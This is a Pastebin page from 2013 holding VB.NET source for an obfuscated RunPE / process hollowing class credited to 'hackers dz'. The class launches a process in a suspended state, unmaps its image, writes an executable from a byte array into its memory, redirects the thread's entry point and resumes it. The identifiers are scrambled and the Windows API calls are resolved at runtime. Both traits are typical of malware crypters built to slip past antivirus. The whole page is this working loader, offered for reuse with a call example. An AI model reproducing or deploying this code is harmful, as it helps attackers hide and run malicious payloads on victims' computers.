Alshabh

Runbi

Aug 23rd, 2013
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.84 KB | None | 0 0
  1. ''' <summary>
  2. ''' ''''''''''''''''''''''''''''''''''''''''''''''''''''
  3. ''' Author : hackers dz
  4. ''' Website : DEV-POINT
  5. ''' Purpose : Execute App In Memory from byte array
  6. ''' Call: DIM DZ As New hackersdz : DZ.hacker(byte,Process.GetCurrentProcess.MainModule.FileName)
  7. ''' Date : 6/1/2013
  8. ''' ''''''''''''''''''''''''''''''''''''''''''''''''''''
  9. ''' </summary>
  10.  
  11. Imports System.Runtime.InteropServices
  12. Imports System.Text
  13. Imports System.Diagnostics
  14.  
  15. Public Class hackersdz
  16.  
  17. Public Declare Function mFIGqQ Lib "kernel32" Alias "LoadLibraryA" (ByVal BMtI As String) As IntPtr
  18.  
  19. Public Declare Function itDPfT Lib "kernel32" Alias "GetProcAddress" (ByVal eXIC As IntPtr, ByVal BMtI As String) As IntPtr
  20.  
  21. Function KnmkRSRLNWkdEcm(Of T)(ByVal BMtI As String, ByVal hpMK As String) As T
  22.  
  23. Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(itDPfT(mFIGqQ(BMtI), hpMK), GetType(T)), Object), T)
  24.  
  25. End Function
  26.  
  27. Delegate Function WiSwJf(ByVal dqWV As IntPtr, ByVal zDeWgCKI As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
  28.  
  29. Delegate Function UNwSNh(ByVal Zqgh As IntPtr, ByVal HDTK As IntPtr) As UInteger
  30.  
  31. Delegate Function JuuMGs(ByVal Zqgh As IntPtr, ByVal HDTK As IntPtr, ByRef bufr As IntPtr, ByVal bufrHUZSQuFSx As Integer, ByRef tNNg As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
  32.  
  33. Delegate Function WnRMDf(ByVal dqWVead As IntPtr, ByVal kPhE As IntPtr) As UInteger
  34.  
  35. Delegate Function bhHkpb(ByVal dqWV As IntPtr, ByVal zDeWgCKI As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
  36.  
  37. Delegate Function pSOxAM(ByVal Zqgh As IntPtr, ByVal CWsp As IntPtr, ByVal HUZSQuFSx As IntPtr, ByVal lkeR As Integer, ByVal xXCB As Integer) As IntPtr
  38.  
  39. Delegate Function vEoiBH(ByVal Zqghess As IntPtr, ByVal yQuZLDQVD As IntPtr, ByVal NvtL As Byte(), ByVal nHUZSQuFSx As UInteger, ByVal VvhyogNDB As Integer) As Boolean
  40.  
  41. Public Declare Auto Function KheJbr Lib "kernel32" Alias "CreateProcessW" (ByVal tYMN As String, ByVal clyp As StringBuilder, ByVal CWLlcSaw As IntPtr, ByVal pYWY As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal EwNj As Boolean, ByVal kZgk As Integer, ByVal TmSN As IntPtr, ByVal gaqw As String, ByVal vxhH As Byte(), ByVal baI As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
  42.  
  43. Private Function ycBRved(ByVal AqPTBBE As Long, Optional ByVal uQvakhv As Long = &H4) As Integer
  44.  
  45. Dim lYXZPRT As IntPtr
  46.  
  47. Dim SziQHKc As Integer
  48.  
  49. Dim ZGeeD As JuuMGs = KnmkRSRLNWkdEcm(Of JuuMGs)("ntdll", "NtReadVirtualMemory")
  50.  
  51. Call ZGeeD(Process.GetCurrentProcess.Handle, AqPTBBE, lYXZPRT, uQvakhv, SziQHKc)
  52.  
  53. Return lYXZPRT
  54.  
  55. End Function
  56.  
  57. Public Function hacker(ByVal NHzDRpcD As Byte(), ByVal HPaBXvVT As String) As Boolean
  58.  
  59. Try
  60.  
  61. Dim nDrkyOrwo As GCHandle = GCHandle.Alloc(NHzDRpcD, GCHandleType.Pinned) : Dim hModuleBase As Integer = nDrkyOrwo.AddrOfPinnedObject : nDrkyOrwo.Free()
  62.  
  63. Dim CWLlcSaw As IntPtr = IntPtr.Zero
  64.  
  65. Dim uWDBaIYWs As IntPtr() = New IntPtr(3) {}
  66.  
  67. Dim LVYRsRbyl As Byte() = New Byte(67) {}
  68.  
  69. Dim rrjrqKzxb As Integer = BitConverter.ToInt32(NHzDRpcD, 60)
  70.  
  71. Dim wkREgfzPj As Integer
  72.  
  73. Dim zDeWgCKI As UInteger() = New UInteger(178) {}
  74.  
  75. zDeWgCKI(0) = &H10002
  76.  
  77. KheJbr(Nothing, New StringBuilder(HPaBXvVT), CWLlcSaw, CWLlcSaw, False, 4, CWLlcSaw, Nothing, LVYRsRbyl, uWDBaIYWs)
  78.  
  79. Dim clypnbGD As Integer = (hModuleBase + ycBRved(hModuleBase + &H3C))
  80.  
  81. wkREgfzPj = ycBRved(clypnbGD + &H34)
  82.  
  83. Dim ldWqJ As UNwSNh = KnmkRSRLNWkdEcm(Of UNwSNh)("ntdll", "NtUnmapViewOfSection")
  84.  
  85. ldWqJ(uWDBaIYWs(0), wkREgfzPj)
  86.  
  87. Dim RGprx As pSOxAM = KnmkRSRLNWkdEcm(Of pSOxAM)("kernel32", "VirtualAllocEx")
  88.  
  89. Dim yQuZLDQVD As IntPtr = RGprx(uWDBaIYWs(0), wkREgfzPj, ycBRved(clypnbGD + &H50), &H3000, &H40)
  90.  
  91. Dim vDgXFgpcM As New IntPtr(BitConverter.ToInt32(NHzDRpcD, rrjrqKzxb + &H34))
  92.  
  93. Dim HUZSQuFSx As New IntPtr(BitConverter.ToInt32(NHzDRpcD, rrjrqKzxb + 80))
  94.  
  95. Dim XbKUUFeJV As Integer
  96.  
  97. Dim VvhyogNDB As Integer
  98.  
  99. Dim api8 As vEoiBH = KnmkRSRLNWkdEcm(Of vEoiBH)("ntdll", "NtWriteVirtualMemory")
  100.  
  101. api8(uWDBaIYWs(0), yQuZLDQVD, NHzDRpcD, CUInt(CInt(ycBRved(clypnbGD + &H54))), XbKUUFeJV)
  102.  
  103. For i = 0 To ycBRved(clypnbGD + &H6, 2) - 1
  104.  
  105. Dim LaXhmRLxJ As Integer() = New Integer(9) {}
  106.  
  107. Buffer.BlockCopy(NHzDRpcD, (rrjrqKzxb + &HF8) + (i * 40), LaXhmRLxJ, 0, 40)
  108.  
  109. Dim grwEIWglP As Byte() = New Byte((LaXhmRLxJ(4) - 1)) {}
  110.  
  111. Buffer.BlockCopy(NHzDRpcD, LaXhmRLxJ(5), grwEIWglP, 0, grwEIWglP.Length)
  112.  
  113. HUZSQuFSx = New IntPtr(yQuZLDQVD.ToInt32() + LaXhmRLxJ(3))
  114.  
  115. vDgXFgpcM = New IntPtr(grwEIWglP.Length)
  116.  
  117. api8(uWDBaIYWs(0), HUZSQuFSx, grwEIWglP, CUInt(vDgXFgpcM), VvhyogNDB)
  118.  
  119. Next i
  120.  
  121. Dim RuizN As WiSwJf = KnmkRSRLNWkdEcm(Of WiSwJf)("ntdll", "NtGetContextThread")
  122.  
  123. RuizN(uWDBaIYWs(1), zDeWgCKI)
  124.  
  125. api8(uWDBaIYWs(0), zDeWgCKI(41) + &H8, BitConverter.GetBytes(yQuZLDQVD.ToInt32()), CUInt(&H4), VvhyogNDB)
  126.  
  127. zDeWgCKI(&H2C) = wkREgfzPj + ycBRved(clypnbGD + &H28)
  128.  
  129. Dim IORqb As bhHkpb = KnmkRSRLNWkdEcm(Of bhHkpb)("ntdll", "NtSetContextThread")
  130.  
  131. IORqb(uWDBaIYWs(1), zDeWgCKI)
  132.  
  133. Dim wwYwQ As WnRMDf = KnmkRSRLNWkdEcm(Of WnRMDf)("ntdll", "NtResumeThread")
  134.  
  135. wwYwQ(uWDBaIYWs(1), 0)
  136.  
  137. Catch ex As Exception
  138.  
  139. Return False
  140.  
  141. End Try
  142.  
  143. Return True
  144.  
  145. End Function
  146.  
  147. End Class
Advertisement
Add Comment
Please, Sign In to add comment